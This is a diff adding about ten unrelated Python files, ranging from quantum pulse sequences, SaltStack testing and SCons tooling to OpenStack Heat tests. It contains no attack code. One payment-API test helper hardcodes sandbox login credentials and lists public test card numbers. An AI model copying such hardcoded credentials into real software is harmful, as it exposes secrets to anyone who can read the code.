+ Returns + ------- + metafile : string + Path to a json metafile with details about the sequences and paths + to compiled machine files + + Examples + -------- + >>> mf = JAZZ(q1, q2, np.linspace(20.0e-9, 200.02e-6, 101), periods=6); + Compiled 105 sequences. + >>> mf + '/path/to/exp/exp-meta.json' + """ + seqs = [] + for k in range(len(pulseSpacings)): + seqs.append([X90(qubit), Id(qubit, pulseSpacings[k]), \ + Y(qubit)*X(spec_qubit), Id(qubit,pulseSpacings[k]), \ + U90(qubit,phase=2*pi*periods/len(pulseSpacings)*k), MEAS(qubit)]) + + for k in range(len(pulseSpacings)): + seqs.append([X90(qubit)*X(spec_qubit), Id(qubit, pulseSpacings[k]), \ + Y(qubit)*X(spec_qubit), Id(qubit,pulseSpacings[k]), \ + U90(qubit,phase=2*pi*periods/len(pulseSpacings)*k), MEAS(qubit)]) + + # Tack on the calibration scalings + seqs += create_cal_seqs((qubit, ), calRepeats) + + metafile = compile_to_hardware(seqs, 'JAZZ/JAZZ', + axis_descriptor=[ + delay_descriptor(np.hstack(np.squeeze([2 * pulseSpacings] *2))), + cal_descriptor((qubit,), calRepeats) + ]) + + if showPlot: + plot_pulse_files(metafile) + return metafile diff --git a/pool/shard008/Python/0078040_salt-shaker-highstate.py b/pool/shard008/Python/0078040_salt-shaker-highstate.py new file mode 100644 index 0000000000000000000000000000000000000000..984cf60bfd46ec7d9f2c0deb14f271b9cee0a36a --- /dev/null +++ b/pool/shard008/Python/0078040_salt-shaker-highstate.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python + +# Copyright 2012-2013 Hewlett-Packard Development Company, L.P. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +# + +# Give salt the shakedown + + +# Don't let other modules highjack the logging +# I'm looking at you, salt.client +import logging +logging.basicConfig(format='%(asctime)s\t%(name)-16s %(levelname)-8s %(message)s') +logger = logging.getLogger('saltshaker') +logger.setLevel(logging.INFO) + + +import saltshaker.caller + + +import optparse +import os +import salt.config +import shutil +import subprocess +import tempfile +import yaml + + +def test_minion_id(minion_id): + logger.info("Testing salt highstate on : %s" % minion_id) + # create a tempdir to run from + tempdir = tempfile.mkdtemp() + os.makedirs(os.path.join(tempdir, 'cache')) + os.makedirs(os.path.join(tempdir, 'pki', 'minion')) + + opts = salt.config.DEFAULT_MINION_OPTS + opts.update({ + 'test': True, + 'state_verbose': False, + 'state_output': 'full', + 'file_client': 'local', + 'file_roots': { options.env: [ + os.path.abspath(path) for path in options.state ] }, + 'pillar_roots': { options.env: [ + os.path.abspath(path) for path in options.pillar ] }, + 'pillar_opts': False, + 'pki_dir': os.path.join(tempdir, 'pki', 'minion'), + 'cachedir': os.path.join(tempdir, 'cache'), + 'log_level': options.log_level, + 'log_level_logfile': options.log_level, + 'log_file': os.path.abspath(options.log_file), + 'extension_modules': os.path.join(tempdir, 'extmods'), + }) + opts['id'] = minion_id.strip() + + salt_call = saltshaker.caller.ShakerCaller(opts) + pillar = salt_call.function('pillar.items') + logger.info('Pillar: \n{0}'.format(yaml.dump(pillar))) + logger.warning('Testing highstate with minion id {0} '.format(minion_id)) + + salt_call.function('state.highstate', test=True) + + + del pillar + del salt_call + + logger.info('Removing tempdir') + shutil.rmtree(tempdir) + + +log_levels = ['debug', 'info', 'warning', 'error', 'critical'] + +op = optparse.OptionParser() +op.add_option('-l', '--log-level', dest='log_level', choices=log_levels, + default='info', help='Logging output level.') +op.add_option('-s', '--state-dir', dest='state', type=str, action='append', + default=['/srv/salt/'], help='The state location(s), ' + 'can be specified multiple times.') +op.add_option('-p', '--pillar-dir', dest='pillar', type=str, action='append', + default=['/srv/pillar'], help='The pillar location(s), ' + 'can be specified multiple times.') +op.add_option('-e', '--environment', dest='env', type=str, + default='base', help='Target environment') +op.add_option('-i', '--id', dest='default_id', type=str, + default='salt-minion', help='Default minion id to use') +op.add_option('-I', '--id-list', dest='id_list_file', type=str, + default='id.list', help='File containing a list of minion ids') +op.add_option('-n', '--test', '--dry-run', '--no', dest='test', action='store_true', + default=False, help='Don\'t actually run any commands') +op.add_option('-L', '--log-file', dest='log_file', type=str, + default='/tmp/saltshaker.log', help='The log file location') +options, args = op.parse_args() + +logger.setLevel(getattr(logging, options.log_level.upper())) + +salt_log = logging.getLogger('salt') +salt_log.setLevel(options.log_level.upper()) + +id_list = [] +if os.path.isfile(options.id_list_file): + with open(options.id_list_file, 'r') as key_id_list: + for key_id in key_id_list: + test_minion_id(key_id) +else: + logger.info("Minion ID: " + options.default_id) + test_minion_id(options.default_id) diff --git a/pool/shard008/Python/0078045_disgenet_interface.py b/pool/shard008/Python/0078045_disgenet_interface.py new file mode 100644 index 0000000000000000000000000000000000000000..ae940d9974c28e0c26d6464b4607b67bb5dd8aae --- /dev/null +++ b/pool/shard008/Python/0078045_disgenet_interface.py @@ -0,0 +1,218 @@ +# coding: utf-8 + +""" + + DisGeNET Interface + ~~~~~~~~~~~~~~~~~~ + +""" +import os +import requests +import pandas as pd + +# Tool to create required caches +from biovida.support_tools._cache_management import package_cache_creator + +# BioVida Support Tools +from biovida.support_tools.support_tools import header, camel_to_snake_case, list_to_bulletpoints + +# BioVida Printing Tools +from biovida.support_tools.printing import dict_pprint + +# --------------------------------------------------------------------------------------------- +# DisGeNET Reference Data +# --------------------------------------------------------------------------------------------- + + +_disgenet_delimited_databases = { + # Source: http://www.disgenet.org/web/DisGeNET/menu/downloads#curated + # Structure: {database_short_name: {full_name: ..., url: ..., description: ..., number_of_rows_in_header: ...}} + 'all': { + 'full_name': 'All Gene-Disease Associations', + 'url': 'http://www.disgenet.org/ds/DisGeNET/results/all_gene_disease_associations.tsv.gz', + 'description': 'The file contains all gene-disease associations in DisGeNET.', + 'header': 21 + }, + 'curated': { + 'full_name': 'Curated Gene-Disease Associations', + 'url': 'http://www.disgenet.org/ds/DisGeNET/results/curated_gene_disease_associations.tsv.gz', + 'description': 'The file contains gene-disease associations from UNIPROT, CTD (human subset), ClinVar, Orphanet,' + ' and the GWAS Catalog.', + 'header': 21 + }, + 'snp_disgenet': { + 'full_name': 'All SNP-Gene-Disease Associations', + 'url': 'http://www.disgenet.org/ds/DisGeNET/results/all_snps_sentences_pubmeds.tsv.gz', + 'description': 'All SNP-gene-disease associations.', + 'header': 20 + }, +} + + +# --------------------------------------------------------------------------------------------- +# Tools for Harvesting DisGeNET Data +# --------------------------------------------------------------------------------------------- + + +class DisgenetInterface(object): + """ + + Python Interface for Harvesting Databases from `DisGeNET `_. + + :param cache_path: location of the BioVida cache. If one does not exist in this location, one will created. + Default to ``None`` (which will generate a cache in the home folder). + :type cache_path: ``str`` or ``None`` + :param verbose: If ``True``, print notice when downloading database. Defaults to ``True``. + :type verbose: ``bool`` + """ + + @staticmethod + def _disgenet_readme(created_gene_dirs): + """ + + Writes the DisGeNET README to disk. + + :param created_gene_dirs: the dictionary of directories returned by ``_package_cache_creator()`` + :type created_gene_dirs: ``dict`` + """ + save_address = os.path.join(created_gene_dirs['disgenet'], 'DisGeNET_README.txt') + + if not os.path.isfile(save_address): + readme_url = 'http://www.disgenet.org/ds/DisGeNET/results/readme.txt' + r = requests.get(readme_url, stream=True) + with open(save_address, 'wb') as f: + f.write(r.content) + header("The DisGeNET README has been downloaded to:\n\n {0}\n\n" + "Please take the time to review this document.".format(save_address), + flank=False) + + def __init__(self, cache_path=None, verbose=True): + """ + + Initialize the ``DisgenetInterface()`` Class. + + """ + self._verbose = verbose + + # Cache Creation + ppc = package_cache_creator(sub_dir='genomics', + cache_path=cache_path, + to_create=['disgenet'], + verbose=verbose) + self.root_path, self._created_gene_dirs = ppc + + # Check if a readme exists. + self._disgenet_readme(self._created_gene_dirs) + + # Containers for the most recently requested database. + self.current_database = None + self.current_database_name = None + self.current_database_full_name = None + self.current_database_description = None + + @staticmethod + def _disgenet_delimited_databases_key_error(database): + """ + + Raises an error when an reference is made to a database not in `_disgenet_delimited_databases.keys()`. + + :param database: `erroneous` database reference. + :type database: ``str`` + """ + if database not in _disgenet_delimited_databases: + raise ValueError( + "'{0}' is an invalid value for `database`.\n`database` must be one of:\n{1}".format( + str(database), list_to_bulletpoints(_disgenet_delimited_databases.keys()))) + + def options(self, database=None, pretty_print=True): + """ + + Disgenet databases which can be downloaded + as well as additional information about the databases. + + :param database: A database to review. Must be one of: 'all', 'curated', 'snp_disgenet' or ``None``. + If a specific database is given, the database's full name and description will be provided. + If ``None``, a list of databases which can be downloaded will be returned (or printed). + Defaults to ``None``. + :type database: ``str`` + :param pretty_print: pretty print the information. Defaults to True. + :type pretty_print: ``bool`` + :return: a ``list`` if `database` is ``None``, else a ``dict`` with the database's full name and description. + :rtype: ``list`` or ``dict`` + """ + if database is None: + info = list(_disgenet_delimited_databases.keys()) + elif database in _disgenet_delimited_databases: + info = {k: v for k, v in _disgenet_delimited_databases[database].items() + if k in ['full_name', 'description']} + else: + self._disgenet_delimited_databases_key_error(database) + + if pretty_print: + if database is None: + print("Available Databases:\n") + print(list_to_bulletpoints(info)) + else: + dict_pprint(info) + else: + return info + + @staticmethod + def _df_clean(data_frame): + """ + + Clean the dataframe generated by ``pull()`` + + :param data_frame: + :type data_frame: ``Pandas DataFrame`` + :return: see description. + :rtype: ``Pandas DataFrame`` + """ + # Lower to make easier to match in the future + data_frame['diseaseName'] = data_frame['diseaseName'].map( + lambda x: x.lower() if isinstance(x, str) else x, na_action='ignore') + + data_frame.columns = list(map(camel_to_snake_case, data_frame.columns)) + + return data_frame + + def pull(self, database, download_override=False): + """ + + Pull (i.e., download) a DisGeNET Database. + + Note: if a database is already cached, it will be used instead of downloading + (the `download_override` argument can be used override this behaviour). + + :param database: A database to download. Must be one of: 'all', 'curated', 'snp_disgenet' or ``None``. + See ``options()`` for more information. + :type database: ``str`` + :param download_override: If ``True``, override any existing database currently cached and download a new one. + Defaults to ``False``. + :type download_override: ``bool`` + :return: a DisGeNET database + :rtype: ``Pandas DataFrame`` + """ + self._disgenet_delimited_databases_key_error(database) + db_url = _disgenet_delimited_databases[database]['url'] + save_name = "{0}.p".format(db_url.split("/")[-1].split(".")[0]) + save_address = os.path.join(self._created_gene_dirs['disgenet'], save_name) + + if download_override or not os.path.isfile(save_address): + if self._verbose: + header("Downloading DisGeNET Database... ", flank=False) + data_frame = pd.read_csv(db_url, + sep='\t', + header=_disgenet_delimited_databases[database]['header'], + compression='gzip') + self._df_clean(data_frame).to_pickle(save_address) + else: + data_frame = pd.read_pickle(save_address) + + # Cache the database + self.current_database = data_frame + self.current_database_name = database + self.current_database_full_name = _disgenet_delimited_databases[database]['full_name'] + self.current_database_description = _disgenet_delimited_databases[database]['description'] + + return data_frame diff --git a/pool/shard008/Python/0078046_sparse_to_dense.py b/pool/shard008/Python/0078046_sparse_to_dense.py new file mode 100644 index 0000000000000000000000000000000000000000..e3888ef88deb315db5ff14511d7d23b04eca5835 --- /dev/null +++ b/pool/shard008/Python/0078046_sparse_to_dense.py @@ -0,0 +1,88 @@ +# Copyright 2019 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Test configs for sparse_to_dense.""" +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import numpy as np +import tensorflow.compat.v1 as tf +from tensorflow.lite.testing.zip_test_utils import create_scalar_data +from tensorflow.lite.testing.zip_test_utils import create_tensor_data +from tensorflow.lite.testing.zip_test_utils import make_zip_of_tests +from tensorflow.lite.testing.zip_test_utils import register_make_test_function + + +@register_make_test_function() +def make_sparse_to_dense_tests(options): + """Make a set of tests to do sparse to dense.""" + + test_parameters = [{ + "value_dtype": [tf.float32, tf.int32, tf.int64], + "index_dtype": [tf.int32, tf.int64], + "value_count": [1, 3, 6, 8], + "dense_shape": [[15], [3, 10], [4, 4, 4, 4], [7, 10, 9]], + "default_value": [0, -1], + "value_is_scalar": [True, False], + }] + + # Return a single value for 1-D dense shape, but a tuple for other shapes. + def generate_index(dense_shape): + if len(dense_shape) == 1: + return np.random.randint(dense_shape[0]) + else: + index = [] + for shape in dense_shape: + index.append(np.random.randint(shape)) + return tuple(index) + + def build_graph(parameters): + """Build the sparse_to_dense op testing graph.""" + dense_shape = parameters["dense_shape"] + + # Special handle for value_is_scalar case. + # value_count must be 1. + if parameters["value_is_scalar"] and parameters["value_count"] == 1: + value = tf.compat.v1.placeholder( + name="value", dtype=parameters["value_dtype"], shape=()) + else: + value = tf.compat.v1.placeholder( + name="value", + dtype=parameters["value_dtype"], + shape=[parameters["value_count"]]) + indices = set() + while len(indices) < parameters["value_count"]: + indices.add(generate_index(dense_shape)) + indices = tf.constant(tuple(indices), dtype=parameters["index_dtype"]) + # TODO(renjieliu): Add test for validate_indices case. + out = tf.sparse_to_dense( + indices, + dense_shape, + value, + parameters["default_value"], + validate_indices=False) + + return [value], [out] + + def build_inputs(parameters, sess, inputs, outputs): + if parameters["value_is_scalar"] and parameters["value_count"] == 1: + input_value = create_scalar_data(parameters["value_dtype"]) + else: + input_value = create_tensor_data(parameters["value_dtype"], + [parameters["value_count"]]) + return [input_value], sess.run( + outputs, feed_dict=dict(zip(inputs, [input_value]))) + + make_zip_of_tests(options, test_parameters, build_graph, build_inputs) diff --git a/pool/shard008/Python/0078051_setup.py b/pool/shard008/Python/0078051_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..58f18a134b30d4af0f1c1948ec7fa9691793f6e0 --- /dev/null +++ b/pool/shard008/Python/0078051_setup.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python + +from os.path import join, dirname, abspath +from runpy import run_path +from setuptools import setup + + +version = run_path(join(abspath(dirname(__file__)), 'chatbot', 'version.py')) +constants = run_path(join(abspath(dirname(__file__)), 'chatbot', 'constants.py')) +LANGUAGE_SUPPORT = constants['LANGUAGE_SUPPORT'] +package_data = ["media/send.png", "media/robot.png", "media/user.png"] + +with open("README.md", "r") as fh: + long_description = fh.read() + +for language in LANGUAGE_SUPPORT: + package_data.extend([ + "local/%s/default.template" % language, + "local/%s/words.txt" % language, + "local/%s/substitutions.json" % language + ]) +package_dir = { + 'chatbot': 'chatbot', + 'chatbot.spellcheck': 'chatbot/spellcheck', + 'chatbot.substitution': 'chatbot/substitution', + 'chatbot.chat_gui': 'chatbot/chat_gui' + } +setup( + name='chatbotAI', + version=version['__version__'], + author="Ahmad Faizal B H", + author_email="ahmadfaizalbh726@gmail.com", + url="https://github.com/ahmadfaizalbh/Chatbot", + description="A chatbot AI engine is a chatbot builder platform that provides both bot intelligence and" + " chat handler with minimal codding", + long_description=long_description, + long_description_content_type="text/markdown", + packages=list(package_dir.keys()), + license='MIT', + keywords='chatbot ai engine and chat builder platform', + platforms=["Windows", "Linux", "Solaris", "Mac OS-X", "Unix"], + package_dir=package_dir, + include_package_data=True, + package_data={"chatbot": package_data}, + classifiers=[ + 'Development Status :: 4 - Beta', + 'Environment :: Console', + 'Intended Audience :: Developers', + 'License :: OSI Approved :: MIT License', + 'Natural Language :: English', + 'Natural Language :: German', + 'Natural Language :: Portuguese (Brazilian)', + 'Natural Language :: Hebrew', + 'Operating System :: OS Independent', + 'Programming Language :: Python', + 'Topic :: Software Development :: Libraries :: Python Modules', + 'Topic :: Communications :: Chat', + ], + install_requires=[ + 'requests', + ] +) diff --git a/pool/shard008/Python/0078055_classique.py b/pool/shard008/Python/0078055_classique.py new file mode 100644 index 0000000000000000000000000000000000000000..ba56ac03ab8fbe1a2658e4e1a3ce806798ca69c1 --- /dev/null +++ b/pool/shard008/Python/0078055_classique.py @@ -0,0 +1,35 @@ +# -*- coding: utf-8 -*- +import tkinter + +class MaFenetre : + def __init__(self, win) : + self.win = win + self.creation() + + def creation(self) : + b1 = tkinter.Button(self.win, text="bouton 1", command=self.commande_bouton1) + b2 = tkinter.Button(self.win, text="bouton 2", command=self.commande_bouton2) + b3 = tkinter.Button(self.win, text="disparition", command=self.disparition) + b1.grid(row=0, column=0) + b2.grid(row=0, column=1) + b3.grid(row=0, column=2) + self.lab = tkinter.Label(self.win, text = "-") + + def commande_bouton1(self) : + # on déplace l'objet lab de type Label + self.lab.configure(text = "bouton 1 appuyé") + self.lab.grid(row = 1, column = 0) + + def commande_bouton2(self) : + # on déplace l'objet lab de type Label + self.lab.configure(text = "bouton 2 appuyé") + self.lab.grid(row = 1, column = 1) + + def disparition(self) : + # on fait disparaître l'objet lab de type Label + self.lab.grid_forget() + +if __name__ == "__main__" : + root = tkinter.Tk() + f = MaFenetre(root) + root.mainloop() diff --git a/pool/shard008/Python/0078056_PharLapCommon.py b/pool/shard008/Python/0078056_PharLapCommon.py new file mode 100644 index 0000000000000000000000000000000000000000..0ac3d14310f337f706827a643e613a3b449fcae4 --- /dev/null +++ b/pool/shard008/Python/0078056_PharLapCommon.py @@ -0,0 +1,132 @@ +"""SCons.Tool.PharLapCommon + +This module contains common code used by all Tools for the +Phar Lap ETS tool chain. Right now, this is linkloc and +386asm. + +""" + +# +# Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 The SCons Foundation +# +# Permission is hereby granted, free of charge, to any person obtaining +# a copy of this software and associated documentation files (the +# "Software"), to deal in the Software without restriction, including +# without limitation the rights to use, copy, modify, merge, publish, +# distribute, sublicense, and/or sell copies of the Software, and to +# permit persons to whom the Software is furnished to do so, subject to +# the following conditions: +# +# The above copyright notice and this permission notice shall be included +# in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY +# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE +# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +# + +__revision__ = "src/engine/SCons/Tool/PharLapCommon.py 3603 2008/10/10 05:46:45 scons" + +import os +import os.path +import SCons.Errors +import SCons.Util +import re +import string + +def getPharLapPath(): + """Reads the registry to find the installed path of the Phar Lap ETS + development kit. + + Raises UserError if no installed version of Phar Lap can + be found.""" + + if not SCons.Util.can_read_reg: + raise SCons.Errors.InternalError, "No Windows registry module was found" + try: + k=SCons.Util.RegOpenKeyEx(SCons.Util.HKEY_LOCAL_MACHINE, + 'SOFTWARE\\Pharlap\\ETS') + val, type = SCons.Util.RegQueryValueEx(k, 'BaseDir') + + # The following is a hack...there is (not surprisingly) + # an odd issue in the Phar Lap plug in that inserts + # a bunch of junk data after the phar lap path in the + # registry. We must trim it. + idx=val.find('\0') + if idx >= 0: + val = val[:idx] + + return os.path.normpath(val) + except SCons.Util.RegError: + raise SCons.Errors.UserError, "Cannot find Phar Lap ETS path in the registry. Is it installed properly?" + +REGEX_ETS_VER = re.compile(r'#define\s+ETS_VER\s+([0-9]+)') + +def getPharLapVersion(): + """Returns the version of the installed ETS Tool Suite as a + decimal number. This version comes from the ETS_VER #define in + the embkern.h header. For example, '#define ETS_VER 1010' (which + is what Phar Lap 10.1 defines) would cause this method to return + 1010. Phar Lap 9.1 does not have such a #define, but this method + will return 910 as a default. + + Raises UserError if no installed version of Phar Lap can + be found.""" + + include_path = os.path.join(getPharLapPath(), os.path.normpath("include/embkern.h")) + if not os.path.exists(include_path): + raise SCons.Errors.UserError, "Cannot find embkern.h in ETS include directory.\nIs Phar Lap ETS installed properly?" + mo = REGEX_ETS_VER.search(open(include_path, 'r').read()) + if mo: + return int(mo.group(1)) + # Default return for Phar Lap 9.1 + return 910 + +def addPathIfNotExists(env_dict, key, path, sep=os.pathsep): + """This function will take 'key' out of the dictionary + 'env_dict', then add the path 'path' to that key if it is not + already there. This treats the value of env_dict[key] as if it + has a similar format to the PATH variable...a list of paths + separated by tokens. The 'path' will get added to the list if it + is not already there.""" + try: + is_list = 1 + paths = env_dict[key] + if not SCons.Util.is_List(env_dict[key]): + paths = string.split(paths, sep) + is_list = 0 + if not os.path.normcase(path) in map(os.path.normcase, paths): + paths = [ path ] + paths + if is_list: + env_dict[key] = paths + else: + env_dict[key] = string.join(paths, sep) + except KeyError: + env_dict[key] = path + +def addPharLapPaths(env): + """This function adds the path to the Phar Lap binaries, includes, + and libraries, if they are not already there.""" + ph_path = getPharLapPath() + + try: + env_dict = env['ENV'] + except KeyError: + env_dict = {} + env['ENV'] = env_dict + addPathIfNotExists(env_dict, 'PATH', + os.path.join(ph_path, 'bin')) + addPathIfNotExists(env_dict, 'INCLUDE', + os.path.join(ph_path, 'include')) + addPathIfNotExists(env_dict, 'LIB', + os.path.join(ph_path, 'lib')) + addPathIfNotExists(env_dict, 'LIB', + os.path.join(ph_path, os.path.normpath('lib/vclib'))) + + env['PHARLAP_PATH'] = getPharLapPath() + env['PHARLAP_VERSION'] = str(getPharLapVersion()) + diff --git a/pool/shard008/Python/0078061_helper.py b/pool/shard008/Python/0078061_helper.py new file mode 100644 index 0000000000000000000000000000000000000000..2b6125bc9513870a31324952851e81b386b2f2c0 --- /dev/null +++ b/pool/shard008/Python/0078061_helper.py @@ -0,0 +1,147 @@ +import datetime +import logging +import os + +from lxml import etree + + +logger = logging.getLogger('tests') + +now = datetime.datetime.now() +future = now + datetime.timedelta(days=1) + +__path__ = os.path.dirname(os.path.realpath(__file__)) + +NAMESPACE_PREFIX = '{http://ws.plimus.com}' + +SANDBOX_CLIENT_CONFIG = { + 'env': 'sandbox', + 'username': 'API_14127729102161320867365', + 'password': 'JustYoyo1', + 'default_store_id': '13945', + 'seller_id': '397608', + 'default_currency': 'GBP' +} + +TEST_PRODUCT_SKU_ID = '2152476' + + +# This class is a dict that helps return encrypted keys at access time (since bluesnap +# encryption includes the timestamp in the payload). +# The encryption is done by the javascript code they provided (with modifications so that +# it can run without a browser) +class CardDict(dict): + import execjs + import os + + # Initialise Javascript VM within Python + with open(os.path.join(os.path.dirname(__file__), 'bluesnap.js')) as f: + _js_context = execjs.compile(f.read()) + + _encrypted_key_prefix = 'encrypted_' + + def __encrypt(self, data): + return self.__class__._js_context.call('window.bluesnap.encrypt', data) + + def __getitem__(self, key): + try: + return super(CardDict, self).__getitem__(key) + except KeyError: + if key.startswith(self._encrypted_key_prefix): + key_without_prefix = key[len(self._encrypted_key_prefix):] + value = self.__encrypt(self[key_without_prefix]) + self.__setitem__(key, value) + return value + raise + + +# Dummy cards taken from +# http://home.bluesnap.com/integrationguide/default.htm#WordManual/Working_with_Sandbox_Testing.htm +# http://avners.info/api/constant-values/test-credit-card-numbers +DUMMY_CARD_VISA = CardDict( + card_type='VISA', + card_number='4111111111111111', + expiration_month=future.month, + expiration_year=future.year, + security_code='123', +) + +DUMMY_CARD_DISCOVER = CardDict( + card_type='MASTERCARD', + card_number='60115564485789458', + expiration_month=12, + expiration_year=2018, + security_code='411', +) +DUMMY_CARD_VISA__EXPIRED = CardDict( + card_type='VISA', + card_number='4917484589897107', + expiration_month=4, + expiration_year=2018, + security_code='411', +) + +DUMMY_CARD_VISA__INSUFFICIENT_FUNDS = CardDict( + card_type='VISA', + card_number='4917484589897107', + expiration_month=5, + expiration_year=2018, + security_code='411', +) + +DUMMY_CARD_VISA__INVALID_CARD_NUMBER = CardDict( + card_type='VISA', + card_number='4917484589897107', + expiration_month=8, + expiration_year=2018, + security_code='411', +) + +DUMMY_CARD_MASTERCARD = CardDict( + card_type='MASTERCARD', + card_number='5105105105105100', + expiration_month=future.month, + expiration_year=future.year, + security_code='123', +) + +DUMMY_CARD_AMEX = CardDict( + card_type='AMEX', + card_number='378282246310005', + expiration_month=future.month, + expiration_year=future.year, + security_code='4111', +) + +DUMMY_CARD_AMEX__AUTH_FAIL = CardDict( + card_type='AMEX', + card_number='378282246310005', + expiration_month=5, + expiration_year=2018, + security_code='4111', +) + +DUMMY_CARD_MASTERCARD_2 = CardDict( + card_type='MASTERCARD', + card_number='5425233430109903', + expiration_month=4, + expiration_year=2018, + security_code='411', +) + +DUMMY_CARDS = ( + ('Visa', DUMMY_CARD_VISA), + ('MasterCard', DUMMY_CARD_MASTERCARD), + ('MasterCard 2', DUMMY_CARD_MASTERCARD_2), + ('American Express', DUMMY_CARD_AMEX), + ('Discover', DUMMY_CARD_DISCOVER) +) + + +def configure_client(): + from bluesnap import client + client.configure(logger=logger, **SANDBOX_CLIENT_CONFIG) + + +def get_xml_schema(file_name): + return etree.XMLSchema(etree.parse(os.path.join(__path__, 'schemas', file_name))) diff --git a/pool/shard008/Python/0078064_cli.py b/pool/shard008/Python/0078064_cli.py new file mode 100644 index 0000000000000000000000000000000000000000..8764683479d9b04a2aeecdd722db8da643f4cf19 --- /dev/null +++ b/pool/shard008/Python/0078064_cli.py @@ -0,0 +1,99 @@ +# coding: utf-8 +""" + kurrent.cli + ~~~~~~~~~~~ + + :copyright: 2013 by Daniel Neuhäuser + :license: BSD, see LICENSE.rst for details +""" +from __future__ import print_function +import os +import sys +import textwrap + +from docopt import docopt + +from kurrent import __version__ +from kurrent.builders import SingleDocumentBuilder +from kurrent.writers import HTML5Writer, KurrentWriter, ManWriter + + +BUILDERS = { + 'single': SingleDocumentBuilder +} +WRITERS = { + 'kurrent': KurrentWriter, + 'html5': HTML5Writer, + 'man': ManWriter +} + + +def main(argv=sys.argv): + """ + Usage: + kurrent [-h | --help] [--version] [ ...] + + Commands: + build + """ + arguments = docopt( + textwrap.dedent(main.__doc__), + argv=argv[1:], + version=u'Kurrent %s' % __version__, + options_first=True + ) + arguments[''].insert(0, arguments['']) + if arguments[''] == 'build': + build(arguments['']) + else: + print( + u'Error: %r is not a kurrent command.\n' % arguments[''], + file=sys.stderr + ) + try: + main(['kurrent', '--help']) + except SystemExit: + sys.exit(1) + + +def build(argv): + """ + Usage: + kurrent build [-h | --help] ... + + Builders: + single Builds a single document. + + Writers: + kurrent Creates a kurrent file. + html5 Creates an HTML5 file. + man Creates a man page. + """ + arguments = docopt( + textwrap.dedent(build.__doc__), + argv=argv + ) + try: + builder = BUILDERS[arguments['']] + except KeyError: + print( + u'Error: %r is not a known builder.\n' % arguments[''], + file=sys.stderr + ) + try: + build(['build', '--help']) + except SystemExit: + sys.exit(1) + try: + writer = WRITERS[arguments['']] + except KeyError: + print( + u'Error: %r is not a known writer.\n' % arguments[''], + file=sys.stderr + ) + try: + build(['build', '--help']) + except SystemExit: + sys.exit(1) + for source in arguments['']: + builder(source, os.path.dirname(source), writer).build() diff --git a/pool/shard008/Python/0078066_test_multi_part.py b/pool/shard008/Python/0078066_test_multi_part.py new file mode 100644 index 0000000000000000000000000000000000000000..f03ca6d6a2a65c7c7c3af87cbc090ba0053d2713 --- /dev/null +++ b/pool/shard008/Python/0078066_test_multi_part.py @@ -0,0 +1,220 @@ +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import email +import uuid + +import mock + +from heat.common import exception as exc +from heat.engine.resources.openstack.heat import multi_part as mp +from heat.engine import stack as parser +from heat.engine import template +from heat.tests import common +from heat.tests import utils + + +class MultipartMimeTest(common.HeatTestCase): + + def setUp(self): + super(MultipartMimeTest, self).setUp() + self.ctx = utils.dummy_context() + self.init_config() + + def init_config(self, parts=None): + parts = parts or [] + stack = parser.Stack( + self.ctx, 'software_config_test_stack', + template.Template({ + 'HeatTemplateFormatVersion': '2012-12-12', + 'Resources': { + 'config_mysql': { + 'Type': 'OS::Heat::MultipartMime', + 'Properties': { + 'parts': parts + }}}})) + self.config = stack['config_mysql'] + self.rpc_client = mock.MagicMock() + self.config._rpc_client = self.rpc_client + + def test_resource_mapping(self): + mapping = mp.resource_mapping() + self.assertEqual(1, len(mapping)) + self.assertEqual(mp.MultipartMime, + mapping['OS::Heat::MultipartMime']) + self.assertIsInstance(self.config, mp.MultipartMime) + + def test_handle_create(self): + config_id = 'c8a19429-7fde-47ea-a42f-40045488226c' + sc = {'id': config_id} + self.rpc_client.create_software_config.return_value = sc + self.config.id = 55 + self.config.uuid = uuid.uuid4().hex + self.config.handle_create() + self.assertEqual(config_id, self.config.resource_id) + kwargs = self.rpc_client.create_software_config.call_args[1] + self.assertEqual({ + 'name': self.config.physical_resource_name(), + 'config': self.config.message, + 'group': 'Heat::Ungrouped' + }, kwargs) + + def test_get_message_not_none(self): + self.config.message = 'Not none' + result = self.config.get_message() + self.assertEqual('Not none', result) + + def test_get_message_empty_list(self): + parts = [] + self.init_config(parts=parts) + result = self.config.get_message() + message = email.message_from_string(result) + self.assertTrue(message.is_multipart()) + + def test_get_message_text(self): + parts = [{ + 'config': '1e0e5a60-2843-4cfd-9137-d90bdf18eef5', + 'type': 'text' + }] + self.init_config(parts=parts) + 